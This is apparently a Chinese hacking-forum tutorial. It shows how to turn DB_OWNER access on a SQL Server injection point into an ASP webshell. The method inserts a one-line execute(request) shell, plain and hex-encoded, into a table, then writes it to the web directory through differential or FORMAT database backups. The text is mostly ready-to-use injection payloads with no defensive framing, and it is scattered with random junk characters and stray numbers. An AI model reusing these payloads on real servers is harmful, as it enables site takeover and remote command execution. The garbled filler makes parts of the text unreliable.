DB_OWNER权限得到webshell的两点改进:4 O! s9 ^, ~. Y2 M# J
2 t, T! b+ @( o [减少备份文件大小,得到可执行的webshell成功率提高不少; g' J1 f2 M( s* K0 @, T- {
一利用差异备份0 {5 A* P% V6 G7 f
加一个参数WITH DIFFERENTIAL' T" G" C( _1 S; _! x
3 y4 q6 c3 @+ g. G
13 k9 K: U8 n U; q" O
24 L1 z/ I! V1 d3 q% T+ X: L
36 b: |, q4 w$ h1 w' v2 E+ }5 U# [
4
9 J: A4 P# H% X9 N0 T declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s* }: B" x7 `6 o5 \' Y
create table [dbo].[xiaolu] ([cmd] [image]);9 U- l! a3 a+ J- w& {
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)1 S3 l' L7 Q& S3 G
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL % M" K1 N; ^ D( p/ @- D$ P- L- j, p
2 A4 Q( n6 H1 l8 K4 g; m二利用完全FORMAT) I9 W+ {+ o9 h5 X
加一个参数WITH FROMAT
! `# ]7 A+ ~2 p2 u有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
0 i# U, P* X4 u- r7 D3 X5 Y! s7 {8 p) J( J1 D" v
1) i9 X& C& q$ |4 y
2
' `- {" U/ x( s5 T/ e3 p( ~! y37 B5 |6 X0 h! c- A! B' V" @
4
1 R/ Z0 Q# B# I) |/ ^& e declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s3 k( B( B6 g7 C
create table [dbo].[xiaolu] ([cmd] [image]);4 W! d& @6 n! F+ v+ w2 w8 m) B# e
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)7 w- {9 p& \- M' Y7 |: q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT % x0 l1 e6 N6 J; \1 a& c9 B
: x8 l- x, s4 }8 F' w" B: T
总的来说就是那么简单几句,下面以备份数据库model为例子
- h7 u' P& b+ F$ Q8 c1
* b. e+ z) f7 Z/ x1 c7 c% L' c1 X; T6 H }" d! X
1
4 r2 G% ]( i& L: C- a' L/ _ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
6 Z9 V2 G' b4 L; J! s# n' v# W. t& e/ }
2# D% l# s0 G3 Z+ v$ j0 j3 r; n, |! {
4 ~' u l, G8 Z: w, D
1
( a5 v+ ]$ t/ T id=1;backup database model to disk='你的路径‘ with differential,format;--
% p3 R0 V) b' |' ? |